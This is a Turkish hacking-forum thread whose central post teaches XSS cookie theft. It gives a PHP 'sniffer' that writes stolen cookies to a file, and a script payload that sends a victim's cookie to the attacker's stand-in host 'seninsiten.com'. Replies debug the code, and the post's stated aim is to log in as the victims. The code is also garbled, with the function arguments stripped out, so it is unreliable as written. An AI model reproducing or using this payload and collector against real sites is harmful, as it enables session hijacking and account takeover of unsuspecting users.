Helal olsun bu saatte valla :D :)

Sniffer kodu tamamdır mesajı editlerken<?php kodu kaybolmuş, ekledim, sorun yok amele ne yaygaracı adamsın ak : D

<?php$cookie = $_GET ;$fp = fopen ;fwrite ;fclose ;?> tabii sacma da gelebilir. o kadar bilgim yok bu konuda ama bu kodu asp seklinde de yazılabilir mi? illa ki php mi olması gerekir. diyalektik için kesin, mutlak hiç bir şey yoktur.. Her şeyin bir geçmişi vardir ve bir geleceği olacaktır. Her şey bir kez bulunduğu yerde her zaman icin kesin olarak bulunmaz, ve o bugünki o, kesin ve son değildir

hımm güzel olmus daha nce hotmail icin xss hazırlamıstım simdi bunu deneyim ama i, nsallah sniffer kodalrında hata yoktur yleyse bu is tamamdır :D yok imza falan...

"" <script>location. href='http://www.seninsiten.com/bilmemne. php?cookie= '%2Bescape </script> "" Korkarım bu kod da bi hata var hiçbişekilde girmiyor. ; '%2Bescap doğrumu durası? tarayıcıdan direk kopyalayınca null kodlar veriyo... wish 4 as it

anti seni pebilirmiyim hacı :D teşekkür ederiz verdiğin bilgiler hakkatten gzden kesinlikle kaçmayacak değerli dkümanlar... Living Death

: ?>?>?>$cookie = $_GET ;$fp = fopen ;fwrite ;fclose ;?> tabii sacma da gelebilir. o kadar bilgim yok bu konuda ama bu kodu asp seklinde de yazılabilir mi? illa ki php mi olması gerekir. . jsp. cfm. asp. vs vs vs farketmez sunucu tabanlı bir dil olsun yeter edit: kod hatalı abüler : Parse error: syntax error, unexpected ':' in /x/x/public_html/1/1. php on line 4 :S 29.99cm, titanyum kaplamalı, çift damarlı, su ve yağ soğutmalı.

<?php$cookie = $_GET ;$fp = fopen ;fwrite ;fclose ;?>bu olucak, aynısını ben kendi hostuma attım sorun yok, cookieyi " " arasına alın not: phpci sandmane teşekkürler mucks : D

anlatım için teşekkürler kardeş. ayrıca; http://xssed.com bu siteden xss leri takip edebilirsiniz. Kendine zgü fikir ve grüşü olmayıp, sadece başkalarının ağızlarının içine bakarak yorum yapabilmek nasıl bir duruştur, nasıl bir kişilik profilidir hiç anlayamamışımdır.

Güzel dokuman olmuş... Eline sağlık.

Sabahın 6sında dküman yazmış adam :) Tebrikler..

bari sniffer ın kodunu tam ver lan :D Ardından yüz kpek havlamayan kurt, kurt sayılmaz..

Selamlar... Bu dkümanda xss ile cookie çalma ile hackingten bahsedeceğiz ama ncelikle XSS ten bahsetmek istiyorum... XSS, Cross site scripting anlamına gelir yani çapraz site betiklemesi. Bazı karakterlerin filtrelenmemesi sonucunda sitede javascript çalıştırılarak tehdit oluşturulabilir. Çeşitli komutlarla bir takım işlemler yapabilir, şimdi ki konumuz ne, cookie, bu yntemle cookie de çalabilir o yüzden XSS i şimdilik bırakıp cookie nedir onu tanımlayalım. Cookie/çerez sitenin sizi tanıması için size atadığı bir değerdir. Site sizi bu değerden tanır."Beni hatırla" gibi seçeneklere imkan sağlayan da cookielerdir, yani yukarıda az nce belirttiğim gibi cookie kimliğimizdir, kimliğimizi değiştirir, bir başka kimliğe bürünürsek o kimlik altında işlemler yapabiliriz Az nce demiştim bu işlemleri yapmak için javascript çalıştırmamız lazım, bunun için javascript kodu gerekli kodumuz şu...<script>alert ;</script>Bu komutu kullanıcaz, bunu sitenin search blümünde de kullanabiliriz ya da url sonuna ekleyerek te deneyebiliriz şyle;www.hedefimiz.com/... javascriptkodumuz Burada sayfada kullanıyoruz. Eğer sitede açık varsa biz cookieyi grücez ama kendi cookiemizi. Tabi bize kendi cookiemiz lazım değil :S. Başkasının cookiesini grmemiz için bunu başkasının tıklaması lazım, onun değerlerinin gelmesi lazım. Bunun için bize sniffer lazım olucak, kodları veriyorum ;<?php$cookie = $_GET ;$fp = fopen ;fwrite ;fclose ;?>Bu kodu hostumuza atıyoruz, bilmemne. php olarak kaydedin . Ondan sonra yapacağımız işleme gelelim; <script>location. href='http://www.seninsiten.com/bilmemne. php?cookie= '%2Bescape </script> Burada seninsiten.com/bilmemne. php cookie çalma dosyasını attığınız yer olacak ve bunu tıklatacaksınız, tabi direk olarak bunu tıklatmanız bir işe yaramaz. Adamın site deki cookiesini çalmak istiyoruz çünkü... Bunu az nce yukarıda /... şeklindeki linkin sonuna ekliyoruz yani javascript kodumuz dediğimiz yere, bunu yaptığınızda o kişinin cookileri size geliyor ve o cookileri kullanıp o kişi adına giriş yapabiliyorsunuz... kolay gele... AntiOksidan/anlatım yaptığım blogumda yazdım nce ordan direk c/p ettim o yüzden smiley çıktı bi de kırmızı yazı: Dnot: saat 06:20 bi hata olmuşsa affola, bayılacam yorgunluktan :D

warlife;Ben php kodunu kullanıyorum, ama asp de yazabilirsen/bulabilirsen olur neden olmasın

bu saatte bu performans, helal hacı işe yarar bir dküman ;)